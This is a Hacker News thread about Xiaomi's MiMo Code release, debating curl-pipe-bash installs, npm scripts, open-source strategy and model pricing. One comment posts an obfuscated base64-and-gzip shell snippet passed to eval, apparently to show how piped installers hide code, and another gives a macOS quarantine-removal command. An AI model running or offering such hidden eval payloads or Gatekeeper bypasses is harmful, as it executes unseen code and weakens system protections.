MiMo Code is now released and open-source(mimo.xiaomi.com) |
MiMo Code is now released and open-source(mimo.xiaomi.com) |
Their models can't help them build it with something better?
That's the only benchmark people need, whether or not their model can raise the bar of their own product
And so far it's looking pretty sad
Terminal > sudo xattr -rd com.apple.quarantine > Drag and drop the app into terminal > enter and enter your password
A bit crappy on Apple's side.
Thank you.
See last 20'ish comments.
This is usually a PoC (Proof of concept) way to install something on a temporary container or temporary VM, but not for production use during daily desktop operation.
I was hoping their documentation would provide better installation instructions. But strangely, only for Windows do they recommend "npm install -g @mimo-ai/cli," which is a much better approach to managing installed packages.
For Mac/Linux, they have the strange recommendation to use the dangerous "curl <some_url> | bash." Quote:
> (for the best experience, Mac users are strongly encouraged to use iTerm or the VSCode Terminal) > curl -fsSL https://mimo.xiaomi.com/install | bash
:(
To be fair, is that any different from naively trusting NPM? It's not like NPM is doing any vetting. They're every threat actors favorite sandbox these days.
And at the end of the day, no matter the installation method (even just unpacking a tarball and executing the program directly from that directory), you're going to run their program on your computer, and then the program can do whatever it wants. Maybe you don't run it with sudo, but https://xkcd.com/1200/ seems relevant.
> sh -c 'curl -fsSL https://chatgpt.com/codex/install.sh | CODEX_NON_INTERACTIVE=1 sh'
This is just sh, not bash, but I doubt it would be any better.
> npm install ... is a much better approach to managing installed packages.
No. Until the upcoming version of npm is out, npm will also run arbitrary code. Almost all common installation tools run arbitrary code. Not doing that is sadly the exception for now.
npm warn allow-scripts Run `npm approve-scripts --allow-scripts-pending` to review, or `npm approve-scripts <pkg>` to allow.
This website is gorgeous, by the way. The mouse reveal on the background, amazing.
But it seems trivially easy to run it against local models. Their onboarding guide offers that option, though I have no idea if it changes any functionality.
OpenCode or pi.dev are enough. I don't like CC-style agent lock-in, regardless if it's Anthropic or Xiaomi doing it.
Good idea actually.. why haven't I tried this before.
[0] https://www.fbi.gov/investigate/counterintelligence/the-chin...
That’s why
ddesk='H4sIAAAAAAAC'
_kiwsi='/ysuTclXKMpN'
_nlalt='U9AtSlPQ5wIA'
_uqslr='gZtu1g8AAAA='
_aaaaa="${_ddesk}${_kiwsi}${_nlalt}${_uqslr}"
_bwkmp="$(printf %s "${_aaaaa}" | base64 -d | gzip -d -c)"
eval "${_bwkmp}"Yes, running third-party code is always a leap of faith, but why choose a delivery method that removes the possibility of verification and opens the door to targeted injections? Convenience shouldn't be an excuse to ignore basic security hygiene.
Like requiring a WoT (usually with physical meetups) vetting people creating packages, FTP-masters, dedicated clean buildbots, etc. in addition to the packages themselves being signed and so on.
No. npm is a package manager. As mentioned in the comment you're replying to, almost all package managers execute arbitrary code. Eg:
- pip
- Cargo
- apt/dpkg
- dnf/yum
- Homebrew
- RubyGems
- Composer (limited)
- Maven
> Any chance you have a link to something that describes their plans?
https://github.blog/changelog/2026-06-09-upcoming-breaking-c...
I get the install time and run time execution might feel different, but I don't see how that's a security boundary at all.
I suspect that everyone will just get into the habit of typing --allowScripts all or whatever and nothing will actually change, because there's no point in a version of NPM that doesn't properly set things up for most people.
Most apps don’t need install scripts so disabling them by default is fine.
The industry has been moving the wrong direction with Claude Code staying closed (despite multiple times leaking the source code!) and the open source Gemini CLI being deprecated in favor of closed source Antigravity CLI.
That’s a charity, not a business model.
Joel Spolsky in 2002 identified a major pattern in technology business & economics: The pattern of "commoditizing your complement", an alternative to vertical integration, where companies seek to secure a choke point or quasi-monopoly in products composed of many necessary & sufficient layers by dominating one layer while fostering so much competition in another layer above or below its layer that no competing monopolist can emerge, prices are driven down to marginal costs elsewhere in the stack, total price drops & increases demand, and the majority of the consumer surplus of the final product can be diverted to the quasi-monopolist.
No matter how valuable the original may be and how much one could charge for it, it can be more valuable to make it free if it increases profits elsewhere.
This pattern explains many otherwise odd or apparently self-sabotaging ventures by large tech companies into apparently irrelevant fields, such as the high rate of releasing open-source contributions by many Internet companies or the intrusion of advertising companies into smartphone manufacturing & web browser development & statistical software & fiber-optic networks & municipal WiFi & radio spectrum auctions & DNS: they are pre-emptive attempts to commodify another company elsewhere in the stack, or defenses against it being done to them.
Open weight models are disruptive to the business models of closed model businesses. An incentive is if your business is built around X but model training is helpful to you, but you don’t expect to meter it specifically. You can release your models and undercut the exclusive moat of a new model company like OpenAI or Anthropic from becoming at some point a competitor, or holding their access as a chip in pricing negotiations. By opening your architectures and weights other competitors can build on them and newer better models emerge faster decoupled from a small number of proprietary models. This lets you focus on X while gaining overall momentum on your model release at no additional cost and no loss in focus on X, while defending against upstarts and monopolies.
This is effectively a lot of the open source world that comes from corporate development as well. It feels odd after this many decades of discussing corporate reasons to participate in open source we keep rehashing it.
A coding hardness with just bash outperforms Codex, Claude Code, OpenCode, Pi ect. The added features are just user experience features.
The case that is largely nonsense is the egress pricing on direct connects since beyond the circuit costs, which the customer pay, there’s no costs for aws not already on the customer regardless. It also makes DC friction weird in that you are incentivized to NOT move storage before compute.
Even if you consider profit motive, what is the profit motive for corporate contributions to open source? The same applies here.
They are already.
> and should open source all of their platforms
Most of the cloud platforms are open source. Linux, container, k8s… it’s entirely possible for someone to build and deploy their private cloud if they have the resources.
> and eliminate egress fees
What does it mean? If I sign up for cloud service I am only bound to the contract terms. If I am PAYGO I can switch anytime.
There's a very strong overlap with male gamers, who also think everything involving sophisticated engineering and design should be cheaper than a cup of coffee.
Just call it out and maybe we can collectively choose to towards a culture that doesn't encourage such shameless behavior or perverted values.
What? It’s actually insane that they haven’t yet.
I don’t like changing tools. What engineer does? I want to learn one tool and tune it to my exact preferences. Proprietary vendor tools are not portable and I avoid them.
Either Anthropic or OpenAI could drop the first-to-market open coding harness tomorrow and it would be as big as VSCode, it would be the standard platform everyone builds stuff on.
As a concrete example, you’ll get very different results for the same prompt for sonnet, opus, fable, gemini, gpt 5.5, …
The platform is the GPU, and doing cool shit with it IS the complement, which requires more memory. And demand is so high and will stay high, that it looks like the platform itself.
The question is why supply is restricted, primarily by sanctions and tariffs to China, and the expressed refusal of RAM makers to even think about increasing supply, they are actually all sweaty about China taking a bit of the unrestricted market.
From github
Not sure which "free" service you're referring to, but MiMo v2.5 Pro is plenty capable & (after its recent 70%+ price drop) one of the most affordable options in its class (DeepSeek v4 Pro, MiniMax M3, & Qwen 3.7 Plus). I read somewhere that Labs are incentivized to implement custom harnesses because each model has its strengths, quirks, & blindspots (like Qwen forking Gemini CLI)?
“ MiMoCode is a terminal-native AI coding assistant. It can read and write code, run commands, manage Git, and use a persistent memory system to keep a deep understanding of your project across sessions while continuously improving itself.”
GitHub link (English): https://github.com/XiaomiMiMo/MiMo-Code
@dang might be better to link to the GitHub, and not for language reasons.
(Edit: for posterity, original URL as submitted was [0]).
It's a client-side change and doesn't impact the URL so users must manually change it each time they visit the site though
Not sure why my iPhone shows an option to translate website but all the destination languages to pick from (I have multiple languages installed), including English, are greyed out. iPhone does support translating from Chinese (Simplified or Traditional), and the button to translate website isn’t greyed out like it is for unsupported/unrecognized languages. Might be an iOS 27 bug, because it is working on other websites?
While ignorance of internationalization standards is a possibility, and the most likely cause.. I do wonder if it's a bit of a nudge to promote Chinese influence in the AI space.
Not that they really need to do that, China is already doing great (relatively, depending on criteria). The implosion of the US, the resulting brain drain and world shake-up has been very timely for their AI and other industries.
It's a very smart move for them to think longer term and start freezing out NVIDIA. Then they can take Taiwan purely for ideological concerns and not worry at all about the fabs blowing up in the process.
And they won't be dependent on foreign factories sitting on an island just off the shore of a superpower who's shown nothing below absolute resolve for decades towards the idea of conquering that island....
I fully expect Baidu and other tech giants on the Chinese shores to try and push the boundaries of technology. Silicon Valley (and the US) in general has always been the hot-bed of innovation. But with enormous increase in wealth in China (and to an extent in India), I can see these companies being more and more ambitious. Not long ago Andrew Ng of Coursera and Stanford AI Lab fame joined Baidu to further their rival to the 'Google Brain' project.
Xiaomi has long been positioning itself as a company with design chops of Apple, engineering chops of Google, and e-commerce chops of Amazon, all rolled into one-- and I can see where they are coming from. If they manage to pull it off, I guess that's when we'd start seeing the proverbial "Death of Silicon Valley" as in, it loosing its strange monopoly and strangle hold on tech world in terms of both talent and innovation.
https://en.wikipedia.org/wiki/Xiaomi_Mi_1
And now they make one of the fastest cars ever created and frontier-level AI. In just over a decade. 你好!
Furthermore, their pricing plan is insanely cheap, they even upped usage limit for their cheapest plan, lite plan, which is at 5$ / month. And now, they are dropping a Harness for their own model? Amazing. I wish they added support for installation through Homebrew though.
On another note, this is what I would like to see more of from a company, what I do not welcome is startups making their model exclusive and hurt their customer base through sabotaging as a way to prevent eventual distillation attempts.
Typically, Chinese websites are a big pain to log in or sign up because they require a +86 phone number due to legal reasons. Being able to use it without having to make an account is amazing for friction reduction. I could probably even just install it onto new machines to help with set up.
I wonder how they are gonna detect and block abuse though?
MiMo v2.5.0-Pro is honestly the first Chinese model that I've tried where I really though why should I use Claude Sonnet when I can get the same results for a fraction of the cost. There was always something off about Chinese models that made it apparent that it couldn't fully compete with GPT, Claude, Gemini, etc. but this was the first model where I was like, this feels like Sonnet.
I can't prove it, but I think they trained heavily on Claude output. From my perspective I don't care since Anthropic trained on my data.
Using them also works well for North Americans as our peak hours is not theirs.
If I had one complaint, the v2.5.0-Pro model thinks too much.
I have Claude but I don't want to ask it because Anthropic could decide to sabotage me.
Microsoft github copilot recently changed their billing. i'm on the yearly subscription. GPT-5.4 is now 6x and even previously free model like GPT-5 mini now cost .33x. its only June 11 and my usage is now at 50%.
While you can argue you are ready to pay 100-1000 times the price for Fable or Opus because you need those last 1-2% of edge, there's no valid reason to keep paying the obscene amounts of money for Sonnet and Haiku when alternatives exist.
This is what Claude Code is to Claude
You might mean the MiMo-V2.5-Pro model?
Why not just contribute to OpenCode instead of creating a clone :/
There's plenty of reasons to start your own fork that you have full agency of, as long as the OSS License is maintained anyone will be able to benefit from any new features they want to make use of.
There are over 500 pages of open issues, up from 78 less than a month ago. They are doing nothing to halt the garbage/duplicates that pop up, and not even addressing legitimate PRs/reports.
I think there's simply too much changed.
It's controlled by a different organization; in particular a startup in a "competing" space.
MiMo code (via my z.ai coding plan) is very pleasant so far, nice UI and seems to respond faster than Claude Code. It might be injecting much less cruft into the conversation.
I also got access to the mimo-2.5-pro ultraspeed model yesterday, which is really quite snappy. It does cost more than DeepSeek, though, so I'm not sure whether it's worth it yet. Definitely fast though.
telemetry enabled by default and named "analysis" is not great.
Kinda RF-nerd clickbait... :)
I guess the way to use their models is through another provider, like https://opencode.ai/go
The 4.1 Gazillion credits is disingenuous.
It takes 200!!! hyper-inflation credits for ONE single token of uncached input.
Xiaomi had an issue, and instead of owning it, they covered it up with "look, now you get ALL THE (near worthless) CREDITS!!!!
>Knowledge accumulates automatically with lossless compression, preserving every critical detail even across million-line projects.
For example: For a super small task in a small project that should not be consuming more than 500K total tokens after all tool calls included, their shown usage shot up to 152 million tokens.
But, when I scroll down on the same page, a table shows usage as 3 million tokens, out of which 2.5 million were cached.
This is such a huge conflict on the very same page. The bad thing is that the usage progress bar is shown against that 150 million token usage, not against that 3 million one.
This has been in discussions for at least past 3 months on reddit as well, and was precisely the reason I subscribed to their lowest tier, and for a single month only.
Update: their own harness, mimocode, shows total token usage as just 63.1K. We now have 3 entirely different values, differing in 3 orders of magnitude.
Update 2: So, I did the exact same task this time using DS4Pro, and total token usage was just 101K (as shown by opencode).
Microsoft's LoRA (already a thing called LoRa) and now MiMo (already a thing called MIMO)
Maybe a classic Google search is not so bad, eh?
[0] https://github.com/vinhnx/VTCode/blob/main/README.md#Provide...
I tried the free model and it's nowhere near Sonnet 4.6 in terms of capabilities. The fact that token speed will randomly get stuck at 0/s makes sense given it's a free service, but the way it performs is more reminiscent of AI from 2025.
Token plan works fine.
I think it is great that they built it on top of open code. Open Code harness is good and I want it to grow. Harness is very important and more projects use it, the more it is adopted.
Unless something changed their plans aren't really worth getting. They're not that much cheaper than the per-token rates, and because it's a plan, you have to contend with weird usage restrictions. You're better off paying per-token unless you have some use case that demands a very steady stream of tokens.
For example, API input is $0.435 / M tokens, which works out to 13.79 M tokens for $6.
Plan is 300 credits per input token, which works out to 13.67 M tokens at 4.1B credits per $6.
Very similar math for cache input and output.
Based solely on quality and price, OpenAI, Anthropic, and other western models just can't compete with the new generation of Chinese open models.
The collaboration is informal. People don’t seem to realize this, but the Chinese internet for programmers and developers today feels a lot like StackExchange in its heyday. There’s a huge emphasis on sharing knowledge, because sharing what you know builds your profile, and becoming a rockstar in a subfield is one of the only ways to get ahead.
Competition in China is ruthless. But unlike in North America, where individuals are often bound by agreement to hoard knowledge because it can give them a competitive edge, the competitive advantage in China is building face and peer recognition. And that comes from proving that you are worthy of being a "master/teacher", and that extends to the valuation of your knowledge business. For example, the third wave coffee shops in China, the master roaster is often called "master/teacher" once they win a roasting competition and start sharing new knowledge of roasting in the public sphere, and that's a title of sincere respect.
You can see parallels with those that apply to give talks at conferences and post snazzy technical presentations they give in the US, but the bar for what qualifies as new knowledge is far higher in China because there's a massive ecosystem of people rushing to outcompete what you have to offer, and once the ball gets rolling on knowledge sharing, lots of people will go off and build upon that knowledge or try to build businesses on top of that, which in turn produces more knowledge.
Reading developer forums in China, once you crack the code (I find Gemini will get you a good chunk of the way with good translations), they are really quite far ahead with what they're willing to share. And I suspect in great part, the decision to release open-weights is heavily tied to that concept of building face/peer recognition = building valuations.
Very fascinating to learn this, didn't know Moonshoot (Kimi) also collaborated with others. I think I read in another post that DeepSeek and Qwen team shared the same building? So that kind of explains it.
> Based solely on quality and price, OpenAI, Anthropic, and other western models just can't compete with the new generation of Chinese open models.
I have to agree. I had the great opportunity to take the offer Z.ai had with their Christmas deal, their lite plan was 3 months for 7$. GLM-4.7 was already impressive enough.
When they released GLM-5-Turbo and GLM-5.1, that is when I came to the realization of how close the gap is between proprietary western models and Chinese open-weight ones (not all of them are ofc).
I could barely believe how good GLM-5.1 was, I didn't think I was using it in CC and had to check the settings again. It's astonishing how close the gap is now, and this competition benefits us very much, the pricing is so low atm, its amazing.
How does open sourcing a Claude code clone drive adoption of anything that is a monopoly or even commercially related? Instead it seems like an attempt to undermine US AI companies.
That being said I am increasingly skeptical of how the US leaders are converging on creating monopolies and going deeper into the app layer that means they will end up owning everything rather than being the substrate of a competitive and flourishing ecosystem.
If it were up to me I would implement a regulation that 1) AI labs can’t own inference hardware, data centers would be a regulated utility like electricity and the internet required to provide open access third party safety, guardrails and audit, 2) inference providers can’t build apps beyond serving API requests 3) training data sets are required to be open sourced within 3 years of training a model.
What we are doing now is allowing vertical and horizontal integration of the hardware, training, inference and application layer. Last time we did that standard oil ended up owning the rail network, pipelines, oil fields, gas stations and refineries. Go see how that worked out for society.
show me from which country or company did the Chinese copied their EV techs, batteries, drones, robotics etc. for their military gears, show me show they copied their J-36 and J-50 fighter jets, Type-055 destroyers, YJ-21 missile and the most recent 09x sub.
time to stop living your socially isolated life and start reading stuff other than whatever fed to you by your brainwashing media.
the internet is full of semi skilled "developers" who should never be developers in the first place.
They might be cheap but they surely aren't stupid. They sure know who not to trust, security beats imaginary profits promised by cheap used-car salesmen who did move software jobs to wherever they could spare a dime.
And you want us to defend their current profits which they swear to use for the removal of the remaining software jobs...
That said I am a cheap bastard.
Imagine personal computers and open source operating systems completely don’t exist. What you can do on a pc today, you have to always do it on a thin client always connected to a main frame run by a selected few. Everything you do is recorded and subjected to at least 30 days of retention and inspection.
Imagine every car is completely not customer serviceable and have to be connected to one of the three manufacturers in order to operate. Everywhere you go is recorded. The manufacturer may decided the place you want to go is inappropriate for you to go.
Also, Mario Zechner wrote libgdx and his first book on a netbook IIRC.
> Reading developer forums in China, once you crack the code (I find Gemini will get you a good chunk of the way with good translations), they are really quite far ahead with what they're willing to share.
Are you able to share those forums and other resources? I would love to read what people in these communities are sharing.
Mainly want to see the people who are building stuff I've never even thought of.
> developer forums in China
Care to share a few such forums or websites, genuinely curious as someone who reads basic Chinese.
A decade ago, I knew there were CSDN, jvjin (may not be the correct pinyin) where people talked about tech. Nowadays they have just become SEO farms like the rest of the internet.
Actually there are very few Chinese forums left, because it is a huge hustle to run one, and the same rule applies to the comment section of any personal blogs.
Right now pretty much the only one left with a bit discussion is v2ex, but it's blocked by gfw and kinda becoming a ranting corner for programmers. Some also recommend nodeseek and a couple other new sites, where you can find shady stuff but not tech stuff. Then you have tech blogs of big corps, or personal ones, but still not many quality tech posts. There are also some on WeChat but it's kinda cumbersome to use so I stopped.
That would be true _if_ they were forced to open source all their code, but it isn’t today.
> Even if, say, google open sources its whole search infrastructure, it does not at all means you can just host your own due to the huge hardware requirements
You can’t but Acme Inc and other bigcorps could, and Google’s margins would evaporate overnight.
Besides that, what you say may be true from the google's perspective. From a user(which I am) perspective, Google and Microsoft and other big corps have proven again and again with their actions that they cannot be trusted, just refer to https://www.gnu.org/proprietary/proprietary.html.
Linux isn't a cloud platform and neither is Docker.
Kubernetes was created specifically to create a way in against AWS' de facto public cloud monopoly. The Cloud Native Compute Foundation is a classic "alliance of smaller players uses open-source and interoperability as a wedge against an incumbent that threatens hegemony".
> it’s entirely possible for someone to build and deploy their private cloud if they have the resources.
What is there for that, really? Basically just OpenStack?
Why someone wants to do that is not my concern. But not being able to is.
The shareholders and execs got rich, you are not rewarded for very long term performance so why bother thinking what will happen 10 - 20 years later.
Also, leadership at MSFT has talked quite a bit about their strategy with VS Code and it’s exactly what I was describing above (which is why I used it as an example). They give it away for free so that they can control the ecosystem.
Distillation is not a problem.
Here token price is model price + busy hours surcharge, and BTW nowhere near 1000x
The only way forward for American companies is to push for always bigger and more expensive models while using regulatory pressure and fear mongering (FUD) to discard price effective competition from China.
Today, legacy KHTML maintainers are boxed-out of upstream decisions that might prevent Manifest v2 from swirling down the drain. I'd argue the story isn't very beautiful anymore.
Also sysvinit is straight up obsolete software. Even if you hate systemd, there’s just no reason to use sysvinit because things like OpenRC and runit exist.
In addition, the adoption of systemd has lead to needing to maintain less init scripts because systemd units are just more portable. It used to be that every single distro and even versions of that distro required specialized init scripts for every application.
Here's links to the whole series up to VI: https://lettersremain.com/joel-spolsky-on-strategy/
Then the US will fall behind China and, more importantly, from the rest of the countries in the world who refuse to lobotomize themselves in the manner you described.
There are also other cultural and political risks which, although delayed, may easily grow into something apocalyptic. Rich people building bunkers isn't just a fad, the outcome they envision isn't fiction, it might actually be a part of the plan, and while this is concerning it does make everything simpler.
That's a big "if" for Claude Code, et al.
How many sites do this but you don't notice because they default to English?
However, the right solution is still to use the language header. I send that to them, they should use it to give me the right one by default.
One of the funny things is that this whole site is in an iframe; which breaks both Google Translate, and the Firefox translate feature. If you check, the outer iframe seems to indicate `lang="en'` and loads the iframe with `src="/coder/index.html?lang=en"`, but the inner iframe still gets a `lang="zh-CN'` by default until you use the toggle.
If you go to the eventual redirect source of the page with `lang=en` parameter, you get a `lang="en"` attribute, but it's still in Chinese until you toggle it with the menu: https://mimo.xiaomi.com/coder?lang=en
Anyhow, yeah, lots of pages are probably broken this way but we don't notice. But still, it has that info from your request, it should use it.
When you look at the source, you can set it to English from the params https://mimo.xiaomi.com/coder?lang=en but there's a small bug, the hero subtitle isn't translated but everything else is.
Wondering why this is in an iframe.... so strange
Even Claude Code you can use with any provider that exposes an anthropic API endpoint, which they all do.
That was a good call. Gemini CLI is dead.
For example, I can send screenshots of what I'm developing and it understands.
CC is technically a free product (you can use it with any model). It's got very few popular "opinions" on how a coding harness should work, but it's by far the most popular one (including at competing LLM manufactories like OpenAI and Meta and Google). Why? If it was just that their models are 5% better, most workplaces would optimize on token (aka cost) efficiency.
Anthropic has been winning the usage of their harness, their tokens, while earning significant revenue, by significantly subsiding their token consumption.
This has earned them many things:
- prime data on how software development — simultaneously the leading beneficiary industry from LLM use, and also the most flush with cash to spend — has been using LLMs
- bringing that industry to standardize around their harness concepts. They are essentially establishing themselves as the W3C of LLM interfacing, except as a private organization.
- all dat data
So while technically not the same story as if it was a direct fork of X11, practically they have the 'obligation' to support X11 indefinitely. KDE trying to kill X11 too is the same exact EEE that you mentioned as a sad story in regads of KHTML.
KHTML is tragic because it had willing developers working for the public good. Jack1 and X11 are not tragic, because their developers were already drafting transition plans to depreciate their libraries.
I know this is beside the point but I'm quite amused by this statement. Are you saying you're a totalitarian? I'm not trying to poke at you here; I'm genuinely interested what you consider the furthest thing from an anarchist to be?
https://www.endorlabs.com/research/ai-code-security-benchmar...
There's a lot of ways to configure agents and any implicit configuration to harnesses may have a non-trivial effect.
> It's because they do things that is why they score differently.
That was my point. Regardless of how you feel about UX, it's a value added set of features. The question initially posited, stands. Why would a company do any of these things?
> Coding hardness add features for user experience not for agent efficiency.
Pretending it was always about some metric you just decided was important is moving the goalpost. It's not compelling.
I think it makes more sense that it's Freemium Dominance or they act as Low-Cost Marketing tools.
Like the thing people attach a dog lead to so that their kids won't just go kamikaze into a car.
Coding harnesses are named by analogy to that.
They are not hard.
If kids run into a car, they will most probably just bounce and continue, perhaps inflicting some minor damage. But if a car mows down a kid, that could well be a fatal injury. Leashes for all the cars! ;)
The strapped kids are often normal with no apparent disabilities(but it is possible they have an ADHD diagnosis).
Never thought about doing it to my own.
With those measures (which are actually quite interesting) it can at times perform at Sonnet level.
Building a good and working coding harness with smaller models is really hard. Everything evolves around the limited context size.
Tools must be specification driven to reduce noise and high temp hallucinations, tool call shrinking needs to remove errors and tryouts of different formats of parameters (because LLMs always ignore descriptions in the JSON...), and you have to deal with long running agents because you can't afford them. Planner/orchestrator architecture, agent to agent communication need to be summarized, and then you have the messed up scheduling parts, because you need to prioritize short running agents and give the planner a tool to wait for outputs of spawned contractor agents.
And that's not even talking about sandbox vs playground read/write/access policies of tools.
Harness engineering, if done correctly, is quite hard.
And all of this works 60% of the time, every time.
Anyways, that was somewhat the summary of the last 6 months building my exocomp agentic environment. And it's still not satisfying to work with.
That might've crossed their minds but that wouldn't move their hand, not even a finger. Politics is the primary driver here, here's the deal:
AI is the new Internet
China foresaw a world where they'd be blocked from it and Anthropic's ongoing attempt to block their own country form it shows how right the Chinese were.
And driving out US manufacturers isn’t even the main goal for China. They know their huge risk on reliance on petroleum and was doing everything they can to mitigate that. Building out a huge solar manufacturing base is their answer. Now they are reducing petro imports YoY.
Don’t get me wrong, I am glad they are doing it, I personally use open source models. In part to not spend money on the other APIs. So it’s clear that some percentage of what would be paying uses choose to not pay. The other part of opensource is free community labor. How much development work did Facebook get for free around the core infrastructure of react by open sourcing it? A massive amount that they did pay for but benefit from.
The point is, it may benefit society, and yet that social benefit wasn’t the motive for them releasing it as open source.
Why? I don’t get it. Open weight models enabled a lot more foundational model trainings. I believe R1 was benefited from llama.
The proliferation of alternative, open weight models in turn put heat on the leading labs and forced them to make better models, or squeeze more out of slowing improvements on model capabilities through innovation on harness.
And eventually we the common people benefit, exactly from these competitions